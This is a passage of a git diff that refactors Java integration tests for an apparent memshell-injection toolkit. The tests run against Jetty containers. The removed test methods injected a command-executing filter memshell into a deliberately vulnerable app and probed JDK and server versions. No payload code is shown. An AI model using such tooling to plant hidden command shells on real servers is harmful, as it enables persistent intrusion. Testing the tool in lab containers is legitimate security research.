com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee9ContainerTest { - public static final String imageName = "reajason/jetty:12.0-jre21-ee9"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.9|65", data); - } +public class Jetty12ee9ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyJakarta("reajason/jetty:12.0-jre21-ee9") + .expectedJdkVersion("JRE|21.0.9|65") + .targetJdkVersion(Opcodes.V21) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java index c5391900..659af9d1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java @@ -1,103 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty61ContainerTest { - public static final String imageName = "reajason/jetty:6.1-jdk6"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } +public class Jetty61ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyOld("reajason/jetty:6.1-jdk6", "/usr/local/jetty/webapps/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java index 16b34dc1..7d5f4086 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java @@ -1,97 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty75ContainerTest { - public static final String imageName = "reajason/jetty:7.5.4-jdk6"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } +public class Jetty75ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyOld("reajason/jetty:7.5.4-jdk6", "/usr/local/jetty/webapps/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java index 7b38c53e..a2fb6e34 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty76ContainerTest { - public static final String imageName = "reajason/jetty:7.6-jdk6"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } +public class Jetty76ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyOld("reajason/jetty:7.6-jdk6", "/usr/local/jetty/webapps/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java index 83b9de86..654e91b4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java @@ -1,99 +1,36 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty81ContainerTest { - public static final String imageName = "reajason/jetty:8.1-jdk7"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.7.0_17|51", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } +public class Jetty81ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .jettyOld("reajason/jetty:8.1-jdk7", + "/usr/local/jetty/webapps/app.war") + .expectedJdkVersion("JDK|1.7.0_17|51") + .targetJdkVersion(Opcodes.V1_7) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java index 754bfb92..e0d74733 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java @@ -1,100 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty92ContainerTest { - - public static final String imageName = "jetty:9.2-jre7"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class Jetty92ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.7.0_221|51", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jetty("jetty:9.2-jre7") + .expectedJdkVersion("JRE|1.7.0_221|51") + .targetJdkVersion(Opcodes.V1_7) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java index ab29f789..7d21e331 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty93ContainerTest { - public static final String imageName = "reajason/jetty:9.3"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } +public class Jetty93ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jetty("reajason/jetty:9.3") + .expectedJdkVersion("JDK|1.8.0_342|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java index bbe11b9c..6d0df506 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static 